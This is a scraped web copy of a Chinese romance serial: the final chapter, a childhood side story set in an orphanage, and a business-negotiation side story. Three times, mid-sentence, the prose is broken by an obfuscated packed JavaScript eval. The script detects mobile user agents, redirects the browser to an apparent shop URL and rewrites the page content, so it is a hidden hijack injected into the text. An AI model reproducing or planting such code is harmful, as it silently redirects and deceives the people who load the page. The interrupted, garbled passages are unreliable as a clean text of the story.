徐熠这会儿才插嘴说道,“不会,这份基金也会跟随林浆纸一体化的项目一起申请投资,前期可能他们会出一些现金,后期项目运作起来了,会有更多的投资者捐助和社会捐助进来,严格地说,是他们公司为这里打通了一条补贴通道。” “真的么?我听不懂,陈总,这位总说的是真的么?” “是真的,放心吧老祝,是个好事情。” “天大的好事情,谢谢、谢谢你们,也谢谢宽总。”说着祝明修就起身去厨房,拿了好几块腊肉来,可到了人面前又没办法直接给出来,又拿了回去,说之后塑封好了直接给他们寄过去才作罢。 这次是郭响送俩人去车站的,走的时候握着陈艾卅的手不肯放,说有这么多人来了巡林站,更多的是体验,从来也没有人说设身处地为巡林站谋什么福利,真的很感谢他们在项目合作的时候带上他们,陈艾卅说未来见面的日子很多,说不定之后和童宽退休了之后会来这里定居,郭响笑得嘴巴都咧到了耳根子,说随时欢迎他们来。 回去的路上陈艾卅给童宽打了个电话,电话里童宽没先关心项目,先是关心起了那份山川基金,问祝明修收了没有,得到了肯定的答复后,童宽在电话那头也笑开了,轻声跟陈艾卅说觉得他们俩做了件特别好的事,陈艾卅说是老板带头带得好。 在真正项目启动的时候,陈艾卅童宽这边倒没有什么摩擦,优化了原来app的功能之后,更增加了现在流行的IP元素以及抽盲盒逻辑,让云植树变得更有趣,并在陈艾卅的提议下,每棵树的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099828|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证书都和区块链做了挂钩,保证独一性外,还有了一定的稀有度,用户的增长量在还没有任何营销的前提下已经有些惊人。 倒是徐熠和Aaron那边,因为一些资金分配有了不少的摩擦,陈艾卅很少见到他前司老板在会议室里面与其他人争得面红耳赤,印象里他一直游刃有余,可能徐熠说话的方式和内容有些极端,刺激一个叫蒋礼的Aaron变得不讲理了起来,但大多数时候他也只是观战,越观越寻摸出一些面前这俩人别样的意味来,每每下班的时候和童宽提,童宽就让他认真上班闲事少管,可从他微微扬起的嘴角上来看,这俩人肯定有点问题。 历经了半年,陈艾卅和童宽已经把租的房子退掉了,那套“婚房”也已经装修完毕了,基本上家里的隔断都用过了玻璃,希望通过“轻隔断”来透出更大的空间,陈艾卅甚至在规划的时候特意给童宽留了一个“自由角”,在这个角落里放上了升降书桌和人体工学椅,前提是他的宽总不能在办公室加班超过2个小时,不然就会被陈艾卅强行拉回总经理办公室“强制下班”。 童宽有一天告诉陈艾卅,虽然听起来有些可怕,但还是想试试“强制下班”是什么感觉,陈艾卅笑了笑,凑到了童宽的耳朵边上说了一句荤话,惹得这个已经与自己相处了挺多年份的人耳朵都发烫。 他们在婚房的阳台外做了个花架,上面放着那盆柠檬草,陈艾卅甚至骚包地在上面系了好几个蝴蝶结,每次结了小柠檬长不大的时候,童宽就怪他说这蝴蝶结扎着人家的营养根了,陈艾卅说那叫枝,不叫根,童宽就说他荤段子国王。 —— 不知不觉又到了夏天,陈艾卅推开窗户的时候一股热意涌了进来,他从衣柜里翻找着童宽的西服,一边叫醒还在赖床的童宽。 “宽总,今天要去领奖,快起来,别睡了。” “……困死了,都怪你。” “这哪能怪我,情意翻涌谁能控制得住。” “你明明知道今天要去领奖啊,还弄。” “我兴奋嘛,快起来了,开过去还得一小时呢。” 陈艾卅给童宽找了一套深蓝色的西服,配上了一条蓝色斜条纹的领带,自己也换上了一套黑色的西服,束上了一条中规中矩的黑色领带,等着洗漱完但还是睡眼惺忪的童宽到身边的时候,他挖了点发蜡,在童宽的脑袋上一顿乱抓,弄出了一种凌乱又帅气的发型来,瞧见手上还有一些,就往自己的头发上随意抓了两把。 坐到车上的时候,童宽皱了皱眉,觉得好像哪里不太对。 “卅哥,你这个穿法,也太像司机了吧。” 陈艾卅看了看自己,黑西服、白衬衫、黑领带,好像的确是这么回事,但他却不太在意,“又不是我领奖,你帅就行了。” 童宽笑了笑,“你这样不行啊,真甘心当司机啊?” “抬头都是假的,干我们这行的都是看真本事。” “你最大的本事就是魅惑总经理。” “那是,”陈艾卅起了步,踩了一脚油门,“主要还是我们总经理看得上我。” 两个人站在一起实在太养眼,以至于刚刚到了签到处,主办方就过来问是不是宽总,小姑娘递过来签到笔都有些抖,童宽虽然年纪上去后看起来稍微冷了些,但只要一笑,就是春风拂面的样子,面前的小姑娘就差星星眼了,童宽刚走到签到墙那准备签字,陈艾卅也收到了小姑娘递过来的另一支笔,问帅哥能不能顺便签个名,童宽在签到墙那看着,眉毛不经意地挑了一下,陈艾卅就赶紧说不好意思,他是宽总的司机,赶紧走到了童宽的旁边,两人一起进了会场。 这次他们公司领的是可持续发展新锐奖,不仅仅在产品普惠性上有了突破,用户数量也是行业独树一帜,并且在合作模式上也有了实践基地,弥补了行业上“概念先行”的短版。 童宽上去领奖的时候,陈艾卅就举起手机来拍照。 他看着这个少年成长、经历得意与失意,最终涅槃。 回去的路上,童宽捧着那个沉甸甸的奖牌,嘴角都带着笑,他从台上下来的时候,告诉陈艾卅,他收获的不是一块奖牌,而是和陈艾卅一起从学校里就开始做的梦。 “为什么叫山川基金?”陈艾卅问出了一直想问的问题。 “因为,山川为卅啊,合起来,就是你。” (正文完结) 66.番外一 “你给我擦干净!”一个浑胖的小子伸出了短短肉肉的食指,向着一个又瘦又矮的、明显比他年纪还小的小男孩,嘴里咆哮道:“这是我爸爸昨天刚刚给我买的新衣服!!” “对不起……”小男孩眼睛里都是恐慌,甚至还泛了些湿意出来,连声音都发着抖,“我、我不是故意的。” “你就是故意的!”小胖子一手插在腰间,另一手还指着面前的小男孩,活像一个茶壶,“你就是嫉妒我有爸爸!” 小男孩的表情僵了一下,脸上的血色全部褪了下去,连嘴唇都有些惨白,眼睛睁得很大,倔强地不想让泪水滑落下来,他吸了一下鼻子,脑袋低了下去,下一秒就冲着小胖子的肚子撞了过去,冲撞的力气不小,不仅仅是小胖子的屁股着了地,小男孩努力憋着的一滴眼泪也砸向了地面,开出了一朵小水花。 小胖子愣了两秒,立刻哇哇大哭起来,明明没受什么伤,却赖在地上不肯起来,四肢乱挥,喊的声音几乎穿透了这个只有他们俩的这个小屋。 刚刚只是虚掩着的门,一下子大开了,走进来一对穿着较好夫妇和一个中年阿姨。 “怎么了怎么了?”小胖子的妈妈赶紧走到了他旁边,一边哄着一边检查,“怎么摔地上了,疼不疼?” 小胖子的脸上突然多了些狠厉,“妈妈!!就是他推我的!!他刚刚把你给他的饮料弄在我衣服上了,我让他赔礼道歉他不肯,就来推我!!” 女人又回头看了男人一眼,透着深深的责怪,又回过头哄着小胖子,“妈妈看看,伤着哪里没有宝贝?” 男人皱了皱眉,走近了,没有去安慰小胖子,却蹲在了小男孩的面前,即使是蹲着,也比这个小男孩高一些,声音里听不出什么情绪,“是你推的吗?” 小男孩没有吱声,眼睛里已经没有泪水了,没有回答男人的话,却狠狠地看着小胖子。 此时阿姨已经站到了小男孩的旁边,没有任何触碰,也没有说话,她知道,此时她不应该插手这件事,如果这对夫妇打算领养他的话,日后也会出现这种矛盾,不如提早暴露出来。 “我问你,是不是你推的他?” 小男孩看了一眼男人,又看了看小胖子,却问了个问题,“你是他爸爸吗?” 男人点了点头。 “你会成为我的爸爸吗?” 男人没有回答。 “我没有爸爸,”小男孩看向依旧倒在地上耍无赖的小胖子,“他说我嫉妒他有爸爸。” 男人怔了怔。 沉默只持续了两秒,女人的声音尖锐了起来,“那你也不应该推他呀!” 小男孩点了点头,对着面前的男人鞠了个躬,“叔叔再见。” 他又仰起了头,小手牵起了旁边阿姨的小指头,“辛妈妈,我记得还有几道题没做完,你带我回去好吗?” 辛阿姨也蹲了下来,伸手摸了摸小男孩的头,露了个不算高兴的笑,更多好像是在安慰他,“好,我们回去了。” 辛阿姨让童宽在门口的小凳子上坐一会儿,说她还有点事要和里面的大人说,童宽就乖乖地坐在了小马扎上,阳光洒下来,皮肤显得更白了,就是整个人看起来瘦瘦小小的,他已经8岁了,整个人却还像学龄前的孩子一样。 今天来的这对夫妇之前也来过,女人因为生第一胎的时候大出血,以至于子宫不可避免地摘除了,她的意思是收养个女孩儿,但孤儿院不同意,主要他们还有个儿子,没有血亲关系的女孩可能会有不太符合伦理的事情发生,所以一再表明只能收养男孩。 男人倒还好,对于性别没什么要求,但在看到安安静静独处一角的童宽的时候,就觉得这孩子适合,自己家的孩子因为母亲的溺爱已经有了些骄纵,想着正好可以中和一下,在获悉童宽的作业表现一直很优秀之后就觉得更不错了。 今天本来是打算来办收养手续的,他们还特意将儿子带了过来,想着正好见一面熟悉熟悉,可发生了这样的事,双方应该都不会再履行收养协议了,辛阿姨和里面的夫妇简单聊了下,就在门口把童宽领了回去。 童宽从记事起就在孤儿院,眼睛睁开就是大通铺,有的时候一起睡在通铺上的人会变少,他一开始还会很恐慌,以为是被怪物抓走了,稍微懂事了之后才知道,原来是被领走了。 领走了就是有爸爸妈妈了。 会有自己的小床,还会有新衣服穿,甚至能吃到不少肉。 这是偶尔会回来的长大的孩子和他们说的,几乎把这里的孩子都羡慕坏了。于是再有大人来的时候,他们会把自己梳洗干净,然后带上甜甜的笑,甚至有的会主动去喊那些人爸爸妈妈。 但童宽从来没有这样做过,他还是会把自己的小毛巾叠起来,放到枕头边上,用别人都听不见的气音对着它说。 “我应该也是有爸爸妈妈的,只是他们不要我了。” “也许是他们太困难了,不得不要我。” “如果他们想起来我,会回来找我的吧。” “我乖一点的话,他们就会快一点吧。” 这天晚上睡觉前,童宽把大通铺里的厕所又洗扫了一遍,比他还高的拖把都有些拿不动,拧干的时候也只能一缕一缕地拧,最后费了大劲才把拖把头挂到窗台上去晾。 周围的小朋友有的好奇有的嘲笑,问他不是已经有人要领了么,怎么又回来了,童宽就当没听到一样,爬上了自己的位置,又把小毛巾叠成了一个小方块,放到了枕头上,侧卧躺了上去。 熄灯后,他憋了一天的眼泪终于流了下来。 左眼的泪甚至从眼角直接淌过了鼻梁,直直地落到了被单上。 也就是在这天晚上,童宽终于认定,自己的爸爸妈妈再也不会来找他了。 之后,再有别的人来孤儿院里收养孩子,童宽就会躲开,钻到孤儿院小房间的角落里呆着,或者跑到后边的树林里。他偶尔会爬树,自己坐到横着的树干上,脚一晃一晃的,等着时间差不多了再回去。 两周后,辛阿姨把大家聚了起来,说孤儿院收到了一笔挺大的捐助,是来自一个大城市的公司,希望大家打起精神来,然后准备几个节目来表达感谢,宣布消息的这天,每个孩子都领到了一个小蛋糕,都吃得无比满足,孩子们纷纷向辛阿姨询问,到时候会不会有人来领养,辛阿姨说也许会有,大家准备节目的兴致就更高了。 只有童宽除外,他没有参加表演节目,对领养更没有期待,硬说的话,也只有那一小块蛋糕让他高兴了几分钟。 当大巴终于开到了孤儿院的门口,辛阿姨和其他阿姨,还有两列小朋友们举着拉花齐齐欢迎,童宽就在房子后面露了个小脑袋,眼睛睁得滴溜溜圆,他从没有见过孤儿院这么热闹过,也想看看究竟是什么人给了天大的快乐。 大巴车上下来的不仅仅有大人,还有小孩,这些小孩大多数都被父母牵着,辛阿姨和一个穿着西装的男人不断握着手,应该是在表达感谢,具体说了什么童宽听不清楚。 他只记得这天的饭菜特别丰富,平日里的小荤都有了三种样式,甚至还有只吃过几次的红烧排骨和红烧鱼。管饭的叔叔长得高大、嗓门也大,童宽有点犯怵,不敢要两个大荤,怯生生地往红烧鱼那指了指。 “是不是要这个!?” 管饭叔叔的嗓门大得差点掀起一阵风,给童宽吓了一跳,他赶紧点了点头,本来以为只会得到一块,却没想到这次完完整整地给了一条。 他捧着盘子找了个角落里的座位,没管那一碗白米饭,倒是先右手抓着小筷子,左手拎起了鱼尾巴一点一点揪鱼肉下来吃。 太香了,太好吃了。 童宽都没注意到自己的嘴巴周围沾了一圈的酱油印子。 直到有一张湿纸巾递到了眼前。 童宽的嘴还没离开鱼,却抬起了头,这么看就好像一只叼着鱼的猫一样,带着点害怕、也带着点疑问。 “你的嘴都花了,”伸过来的这只手也是白白的,手指却在同龄人里显得比较纤长,“擦一擦吧。” 本来应该是要道谢的,可他就是不想松开嘴里的鱼,就用刚刚抓过鱼尾巴的手去拿,一摸上去,就把那张湿巾纸弄脏了。他想到那个小胖子,心里一扯,嘴就松开了,鱼肉掉在了还有汁水的餐盘里,汁水溅起来,弄脏了童宽自己的衣服,胸口有一大滩污渍,还有些溅到了伸手过来的衬衫上。 “对、对不起……”童宽又慌了,这和上次还不一样,这些人都是那个给孤儿院捐助的大公司里一起来参观的贵客。 预想的奚落并没有出现,面前这个看起来比自己已经高不少的男孩子抽出了一张新的湿纸巾,先是一点点把童宽脸上沾的酱油印子擦干净了,又拿过了他的手,擦掉了手上的,最后盯着他胸口的印子,皱了皱眉。 “这个……好像擦不掉了。” 童宽都忘记要吃鱼了,盯着眼前的人看。 好高。 好像比和自己一起睡大通铺最高的那个人还要再高一点。 也好好看。 头发那么黑、那么亮还蓬蓬松松的,眉毛颜色都比自己要深一些,甚至还有眉峰,还有这双眼睛,怎么看起来这么有神,还不是那种凶的,而是、而是很温和,鼻梁也好挺,嘴……连下巴也很好看! 童宽心里犯着嘀咕,他从来没看到过这么好看的人,刚刚的声音也很好听,听起来清清爽爽的,好像是泉水砸在了鹅卵石上。 “我带了两件衣服,你等我一下,我去找我妈妈拿一下。” 面前的这个男孩很快跑走了,只是过了一会儿又回了过来,童宽连动都没有动,没吃完的鱼已经凉了。 “对不起,是我吓到你了,换一下衣服吧?” 童宽机械式地点了点头,人却没有动。 男孩握住了童宽的手腕,把他从食堂带了出来,但下一步却没了方向。 “你的房间在哪里?” 童宽的眼睛一直落在这个人的脸上,甚至都没有到他在说话,直到一张放大的脸到了自己面前,他紧张得往后退了一步,差点因为没协调绊了一跤,还好面前的这个人眼疾手快拉住了自己的胳膊。 然后他就笑了起来,戳了戳童宽的脸,“你傻啦?” 这会童宽才回过神来,一想到自己无意识被这个人从食堂里带了出来,又差点摔倒,窘迫得脸都红了。 “你叫什么名字?”这个人问他,但下一句又对童宽抱歉了起来,“不好意思啊,我还没介绍自己,我爸爸说一定要先介绍自己才能问别人叫什么名字。” 童宽歪着脑袋看向他,心里想的是这人怎么这么有礼貌,和他比起来,孤儿院里的其他小朋友在有家长来的时候表现出来的那些,都不值一提。 “我叫陈艾卅,艾草的艾,卅的话就是三个竖一个横。”陈艾卅展了个大笑脸,眼睛都弯了起来,“今年10岁了,你呢,你叫什么?几岁啦?肯定比我小吧!” “我……我叫童宽,”童宽的声音很小,还有些发抖,衬着胸口前的污渍整个人看起来都没什么精神,“童年的童,宽的话……就是,”童宽双手在面前摆了一个幅度,“就是很宽的宽,今年8岁。” “你是不是很喜欢吃鱼呀?”陈艾卅问他。 童宽点了点头,好像又咂了咂嘴里的味道,“很好吃。” “刚刚是我吓到你了么,食堂没位置了,我妈妈让我自己打饭自己吃,说让我锻炼锻炼。” “没、没有……是我自己不小心,还把你的袖子弄脏了,对不起。” “就脏了一点点,你胸口的这一大滩才多呢!你带我去你们房间吧,我刚刚拿了件衣服过来,虽然不是新的,但洗得很干净,我自己洗的!” “没、没关系的……”童宽的声音越来越小,“我还有一件,可以换。” “别啰嗦啦,快带我去。”说着陈艾卅又向童宽伸了手,见他没反应,直接握了起来,这次握的不是手腕,而是真正抓起了手,然后惊奇了一下,“你手好小,好软,好可爱!” 不知道为什么,自己也不是第一次被夸可爱,但从这个小哥哥嘴里说出来,就臊得慌,他还是敌不过小哥哥的热情,把他带到了大通铺这里。 还是午饭时间,大家都在食堂,这里就只有他们两个人。 陈艾卅就让童宽赶紧把衣服脱掉,童宽有些扭捏,看了看他,又看了看大通铺的厕所,想了想还是拿着衣服去厕所里换比较好。 但不知道是不是自己的动作太过明显,陈艾卅好像知道了什么,他转过了身去,对童宽说:“我背过去了,你换吧。” 憋在嘴边的那一句“没关系的,都是男孩子”童宽怎么都说不出口,背对着陈艾卅就把衣服换掉了,手里捏着那件脏衣服,身上松松垮垮地穿着陈艾卅给他拿的。 “好、好了。” 陈艾卅转了过来,噗地一声笑开了。 “你怎么那么瘦啊!”他伸手拽了拽童宽的衣领,但发现怎么摆弄领口都太大了,而且肩宽得也太明显了,还有这衣长,都快到童宽的膝盖上面了。 “我比你小,没你长得高、长得壮,很、很正常的。” “哪里正常了,我8岁的时候也没有你这么瘦,你看,”陈艾卅捏了捏童宽的胳膊,“一点肉都没有,是这里的菜不好吃吗?” 童宽摇了摇头,“好吃的,我吃不多。” “你午饭是不是没吃饱?应该还有小半条鱼没吃吧?” “吃饱了的,今天吃得很多了。” “那你带我出去玩好吗?我都不知道要去哪里玩。” 童宽抿了抿嘴,“这里没什么好玩的。” “那我们来捉迷藏吧!嗯……我不熟悉这里,那就你来躲,我来找,行吗?” 童宽平时更多的时候就是一个人安静地看书,或者自己摆弄玩具,很少和孤儿院里的伙伴一起玩,其他人看他并不爱搭理人,平时也不叫他,久而久之就更独来独往了。 “你玩过捉迷藏吗?”陈艾卅歪着脑袋低头看他。 “玩过的。” 本来想拒绝的,但他又给自己擦嘴又给自己衣服穿,到底也没好意思说出口,只能点了点头。 “那我数30个数,然后就来找你,范围的话……就这一层楼吧!行吗?” “……好的。” 陈艾卅背过去,面对着墙,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131602|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把自己的眼睛遮了起来,一个数一个数地数着,童宽立刻就跑了,他知道这一层有个地方挺隐蔽的,就是楼梯侧边的小小储物间,一般人很容易就把那里忽略掉了,他甚至还把自己藏到了好几把扫帚后面。 事实上,有时如果有夫妇过来领养孩子,他也会躲在这里,他听到过辛阿姨喊他的名字,但始终没有从储物间出去过,他不想被陌生人领养,不想叫不熟悉的人爸爸妈妈,甚至害怕那个家庭里原来还有孩子。 他想有家,却不想要别人的家。 童宽在储物柜里呆了很久,一开始他觉得自己找到了一个好地方,竟然过了那么久陈艾卅都没有找来,看来这个地方的确足够隐蔽。后来就开始渐渐着急了,想着怎么还没找来呢……是不是自己藏得太好了。 童宽近乎绝望了,他觉得时间已经过去了很久很久,这个叫陈艾卅的小哥哥是不是已经放弃找他了,甚至他想到,会不会他已经跟着今天来参观的人已经回家了呢? 到最后,童宽觉得装在自己小小身体里的心脏都已经麻木了,他好像不是今天才进的这个储物间,而是在这里呆了好多年了,脑袋里出了很多怪力乱神的想法,他甚至以为自己应该是一把扫帚,只是不小心有了人的想法,好像自己生来就应该呆在这里的…… 今天吃的鱼是真的么,看见的人是真的么。 这个小哥哥长得好好看,又对自己很温柔,还会很有礼貌地先告诉自己叫什么名字。童宽从来没有见过这样的人,他甚至还会给自己擦嘴和手,也不怪自己弄脏了他的衣服。 就当他怀疑这个人是不是自己凭空想出来的时,身上的衣服提醒着他,这一切是真实发生过的,穿在自己身上松松垮垮的衣服有着和孤儿院不一样的洗衣粉味道。 他遇见的陈艾卅是真的。 如果是真的,那他们就真的在玩游戏。 既然游戏还没结束,童宽就要等他。 等他发现自己,等他找到自己。 可真的好久啊……陈艾卅,你快点好不好。 是什么时候在储物柜里睡着的,童宽已经不记得了,醒过来的时候却看到有很多手电筒往里照着,好像还有人在喊。 “找到了!找到了!!在这里!!” 正觉得奇怪,童宽面前的扫帚被扒开到了一边,辛阿姨把着胳膊往外拉了一把,已经有些皱纹的脸上都是着急。 “你怎么躲在这呀!” ——我在和陈艾卅玩游戏,辛妈妈,你不要把我拉出来,陈艾卅还没找到我。 “急坏了把我们,可算是找到了。” ——急坏了?急什么?我在玩游戏啊。 可嗓子好像是哑了,他什么声音都发不出来。 有一个人影从人群中窜了过来,冲到了童宽的面前,两手把着童宽的胳膊,那张好看的脸上眼睛红红的、鼻子也红红的,连头发上都落了灰,之前才见到的精神模样都不见了,衣服上东一块西一块的污渍,整个人看起来又急又乱。 “我找了三层楼,都没有找到你,”陈艾卅的声音里都带着哭腔,“吓死我了,我以为你不见了。” “我……没有,我一直躲在这里,”童宽的声音有点哑,明显是很久没说话,“你还没找到我,我不会不见的。” “对不起,是我没找到你。”陈艾卅看过去的眼睛里还有点湿。 童宽见他这样,倒真的轻松了下来,还对他笑了笑,声音软软的,带了些讨好,还带了些甜,像草莓棉花糖。 “你这不是找到我了嘛,你赢啦。” “我来晚了,童宽。” 童宽摇了摇头,“不晚的。” “以后不要进这个柜子了啊,太难找了。”陈艾卅撅着嘴对着他抱怨道。 童宽点了点头,“知道了。” 陈艾卅抿了抿嘴,又想了想,对着童宽放狠话,“我不在的时候你也不可以进!” “……知道了。” 两个人牵着手进了图书室,陈艾卅把童宽带到了地图面前,伸手指了一个地方。 “你以后长大了可以来这里找我玩。” “这是哪里?” “我家。” “这里都是吗?”童宽眨了眨眼睛。 “笨!我家在这个城市里,但你来了,我们肯定就会遇见了呀!” 童宽深信不疑。 临走的时候,童宽要把陈艾卅的衣服换下来还给他。 “你留着吧,长大了可以穿。” 敏感的童宽又一次纠结了,“是因为我穿过了,所以你不要了吗?” 陈艾卅叹了口气,“你怎么会那么想!” 接着就从自己带的小书包里拿出了个塑料袋,把里面的东西抖落了出来。 “你看,这是你的脏衣服,我带回家洗好了再让我妈妈寄给你。” 童宽眼睛都瞪大了,“我、我可以自己洗的。” “我帮你洗!” “……噢。”小哥哥的话好像不太好违抗,童宽也就随他去了。 大巴车当天傍晚就走了,童宽这天晚上睡得很香,甚至还做了美美的梦。 他长大了,带着个行李箱坐上了火车,到地图上的那个地方,还在一颗梧桐树下,遇见了陈艾卅。 陈艾卅长大后依旧很高,比自己高了快一个头,就是看不清脸,任他怎么眯眼都看不清楚。 醒过来后,他找到了辛阿姨,把她也牵到了图书室里。 自己爬上了椅子,站了起来,手指着那个地方。 对她说:“辛妈妈,我以后要去这里。” 辛阿姨有些惊讶,“去这里读书吗?” “不知道,”童宽摇了摇头,又抬起来对着辛阿姨问,“只有读书才可以去吗?” “考大学的话,可能会方便一点。” “那我就要考这里的大学。”童宽的语气里透了些坚定。 辛阿姨笑得很欣慰,“不简单哦,那你要更努力地学习了,好吗?” 童宽用力点了点头,难得喊了一声,“好!” 一个月后,孤儿院里收到了一个包裹。 包裹面单上的字看起来扭扭歪歪的,还有用拼音代替了的,只有收件人的“童宽”两个字写得板板正正,应该是练习了很多次。 辛阿姨把完整的包裹放到了童宽面前,让他自己拆,告诉自己是之前和自己玩捉迷藏的小哥哥寄来的,本来没什么表情的童宽眼睛亮了起来。 有一套完完整整的运动服,还有一件衬衫,和一件手感极好的羽绒服。 却没有那件被他带回去的脏衣服。 童宽从包裹底下找到了一封信,只有寥寥数行。 “你的衣服我留着啦! 这些衣服都是我压岁钱买的,你那里好冷! 都是我的尺寸,所以你要多吃点才能穿上! 储物柜我们拉过勾的,你不能去了。 祝你开心呀,小宽。 等你来找我玩噢!” 童宽笑了起来,甜甜的,像个小苹果。 他无声地用嘴型大喊了一句。 “知道啦,陈艾卅!” 67.番外二:徐熠&蒋礼[番外] “Aaron总,这份合同的分成比例……就这么签么?” 助理再次向区域销售总理确认,在他的印象里,这个神一样的男人,从来就没有答应过任何这么极限的要求,除此之外,一直以冷静强大示人的总经理现在竟然脸上带着一丝笑意,这让他有些无措,不知道刚刚问这个问题合不合适。 “就按这个签吧,走完用印给他们寄过去。” “好的总经理,那我先出去了。” “嗯。” 回想起刚刚结束的会议,徐熠拿出的PPT里的所有陈述,包括背景调研和未来趋势分析,每一项数据列得清晰,甚至连他们公司的利润率都算好了,这让向来在商务谈判上游刃有余的蒋礼有些意外,直到最后一页,徐熠给出了两个选择,要不就拿出5%的销售额作为项目二次投资,要不就直接严卡出货量,直接把他们的利润压到只比预估毛利率高1%的情况。 以至于最后蒋礼不得不笑了出来,脸都有些抹不开了,“徐总,有备而来?” “叫我Patrick,Aaron.”徐熠搭上了一个笑,看起来自然又亲近,又摇了头,“叫我徐总,生分了。” “OK,Patrick,所以只有这两个选项吗?” “当然我们公司还有很多其他纸类销售公司可以选择,我想如果您这边合作不了,陈总也不介意我另外给他推荐。” 看似说的话轻飘飘的,可每一句话都在点他。 这个人很厉害,面子功夫和实际执行上都很厉害,咬得很凶,根本就没打算给他们公司任何别的选择,毛利率只高于预期的1%就意味着这个项目会有亏本的风险,直接拿销售额看上去好像狮子大开口,却适当给他们留了操作空间。 “方便的话,单独谈谈?”蒋礼希望能做一些最后的努力。 “当然可以,这里是您的地盘。” 单独一个人来的,却把一整个会议室都干蒙了,手段了得。 “去我办公室?”蒋礼对着徐熠挑了个眉。 “没问题。”徐熠的随身文件和笔记本都收得很快,一小会儿人都站起来了,连椅子都推了进去。 徐熠落后两步蒋礼进了他的办公室,整个人显得彬彬有礼,手里拿着公文包也没有坐下的意思,好像在等蒋礼的邀请。 “坐,别拘束,”蒋礼祖籍在潮汕,虽然出生和成长都在新加坡,但因为家族习惯影响,还是在办公室里准备了功夫茶桌,“喝什么茶?绿茶还是红茶?” “乌龙茶有么?”徐熠也不客气,“我喜欢喝青茶。” “很难得啊,徐总对茶也有研究,”蒋礼从茶柜里拿出一个瓷罐,对着徐熠举了一下,“铁观音,还不错,试试?” 徐熠盯着蒋礼没有说话,头歪了歪,也挑了一下眉梢。 “可以么?”蒋礼本来有些摸不着头脑,看着他的表情好像知道了些什么,下一刻就笑了起来,“Sorry, Patrick,我的问题。” “麻烦了。” 借着泡茶的间隙,蒋礼试图在探寻徐熠对这个项目卖力的原因,又联想到上次去陈艾卅公司那次的见面,等自己从童宽的办公室出来后,陈艾卅是和徐熠一起进去的,可是连自己一个从来没见过童宽的陌生人陈艾卅都没有显露出来的保护欲,到徐熠面前倒是挺明显的,他感觉,好像抓住了什么关键。 “Patrick为这个项目付出了不少,”蒋礼逐渐问出自己想问的问题,“但毕竟是个小case,在投行来看这个项目的成长期应该不短吧,花这么大力气,是为了帮TK吗?” 对于蒋礼的明锐度,徐熠有些意外。他承认,在学校读MBA的时候、和童宽合作的期间,的确喜欢童宽,毕业后还打听过他和陈艾卅还在不在一起,甚至在听说他俩分手了之后还振奋了一把。 “我不太明白你的意思。”徐熠回答道。 水烧得很快,茶叶出汤也很快,几分钟过后,蒋礼就拿了一小杯盛有青黄色的茶放到了他的面前,茶杯底部放到实木桌面上还磕碰出了声音。 “你明白的,”蒋礼推了一下自己的银边眼镜,嘴角勾了个淡淡笑,“事实上,那次我和TK单独聊天,他好像也看出了一些我的小心思。” “你对童宽?不对,”徐熠有点惊讶,下意识就说了出来,“是陈艾卅?!” “一些简单的好感而已,都过去了。” “你倒是对我一点都没保留,也不怕我给你传出去,”徐熠笑着带点儿痞,又对蒋礼抬了个头,“跟我说这些,是为了套近乎?” “有用吗?” “哪方面?” “当然是分成比例。” “这个没得聊。” 蒋礼看了一眼徐熠,露出了些可惜的表情,“你对TK果然情深义重。”当然了,这句话是他故意说的。 “Aaron,我们是一样的,”徐熠拿起了面前的茶杯喝了一口,“都是商人,就不说多余的话了。” “没机会吗?” “你想要什么机会?” “一点点,”蒋礼眯了眯眼睛,右手的食指和拇指虚虚做了个捏的手势,“改变的机会。” “分成比例改不了,”徐熠也看着蒋礼,眼睛里甚至还冒出了一些精光,“别的,看你要什么了。” 这句话说完,两个人都沉默了一会儿,徐熠把眼前茶杯里的茶都喝完了,跟一个老茶客一样,右手食指和中指在桌子上敲了敲。 “那就按你说的,抽5%的销售分成投到项目里吧。” “蒋总大气。” 徐熠从公文包里直接拿出了打印好的四份合约,放到了蒋礼的办公桌上,“合同我们已经拟好了,没什么问题的话盖章寄给我就好,合作愉快。” 要投资要得这么理直气壮胸有成竹的,蒋礼还是第一次遇见。 他站起来与徐熠握了个手,徐熠就礼貌地从办公室退出去了。 烧水壶又烧开了,蒸汽从壶嘴这里冒了出来,蒋礼拿起了桌面上的四份合同,刚刚拿起来要看合作细则,一张名片从合同里掉了出来,他伸手拿了过来,不出意外地看到了徐熠的名字,还有这张名片背面用子弹笔写下的一个地址,以及今晚的时间。 蒋礼虽然看起来和徐熠差不多,但实际上比他大了不少,自然明白他的意思,但自己到底已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149493|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 